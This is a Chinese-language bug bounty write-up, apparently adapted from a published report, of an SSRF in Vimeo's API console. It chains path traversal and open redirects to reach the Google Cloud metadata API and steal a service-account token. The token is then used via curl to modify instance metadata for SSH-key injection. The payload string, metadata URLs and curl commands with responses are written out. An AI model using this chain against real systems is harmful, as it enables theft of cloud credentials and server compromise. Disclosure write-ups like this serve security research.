目标站点为他们的API实现了一个API控制台,使用此控制台发出的请求是从服务器端完成的。以下面的请求为例。
上图中的请求发出后,服务端会向https://api.vimeo.com/users/{user_id}/videos/{video_id}
接口发送请求
除此之外,我们还能控制很多参数,你仔细看看上图中的参数
uri参数可以控制服务端请求的接口,在上图中我们让服务端请求/users/{user_id}/videos/{video_id}
,其中user_id以及video_id是在segments参数中进行设置的
method参数可以控制服务端请求的方法(GET/POST)
params可以控制post请求的参数
一开始我尝试修改user_id以及video_id的值,想要让服务端访问任意接口
但是无论我怎么修改,响应都是403,可见,后端应该限制了只能访问特定的接口
但是,当我给video_id赋值为../../../
时,发现可以路径穿越
当我发送这样的url到后端时:https://api.vimeo.com/users/1122/videos/../../../attacker
服务端将会向https://api.vimeo.com/attacker
发起请求
猜测后端在处理前端传过去的接口时,应该做了类似URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)
这样的处理
在这里插入图片描述
从上图就可以看到,该请求返回了api.vimeo.com
下的所有接口
(直接访问api.vimeo.com就会返回所有接口,所以可以证明,这里确实实现了路径穿越)
但是有了路径穿越又怎么样呢?
我们不还是在api.vimeo.com上吗,要怎么绕过才能请求到其他的域名呢?
嘿嘿嘿,这时候,我想起了30x跳转
如果能够在api.vimeo.com
找到一个开放式重定向漏洞,不就可以ssrf到任意域名了吗
经过一番搜索,我发现了一处重定向,但是并不是开发式重定向
这处重定向可以把我们的请求重定向到vimeo.com
的任意路径下
当我们访问
https://api.vimeo.com/m/something
时会被重定向到https://vimeo.com/something
如下图所示:
在这里插入图片描述
这时候你可能会说了,这不还是不能ssrf到任意域名吗?
别着急,咱们继续在vimeo.com
上找找开放式重定向漏洞,说不定有惊喜呢?
皇天不负有心人,还真被我找到了
由于涉及到厂商隐私,我不会透露此处开放式重定向的具体细节,假设它是这样的:
访问https://vimeo/vulnerable/open/redirect?url=https://attacker.com
会直接跳转到attacker.com
ok,现在我们把上面几个重定向连起来,构造payload如下:
../../../m/vulnerable/open/redirect?url=https://attacker.com
把上面的值赋给video_id
后台收到的url就会变成下面这样
https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com
后台处理过后的url变成:
https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com
然后第一次重定向过后,服务器会去访问
https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com
再一次重定向,就会访问到https://attacker.com
了
服务器接收json数据,并解析后返回到响应里
因为目标站点是部署在google云上,所以我决定先来访问一下google的metadata API,手法参考:
https://hackerone.com/reports/341876
访问http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
会返回服务账号的token
{ “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }
看下这个token的使用范围:
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
Response:
{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }
有了这个token,我们就可以做很多事了
比如把我的ssh public key上传到目标服务器上,然后用我的ssh private key进行连接
$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}
Response:
{ “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}
key成功添加:
但是,由于ssh端口仅对内网开放,我不能进一步操作,不过这也足以证明该漏洞的危害了...
https://medium.com/bugbountywriteup/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e
https://buer.haus/2017/03/09/airbnb-chaining-third-party-open-redirect-into-server-side-request-forgery-ssrf-via-liveperson-chat/
https://hackerone.com/reports/341876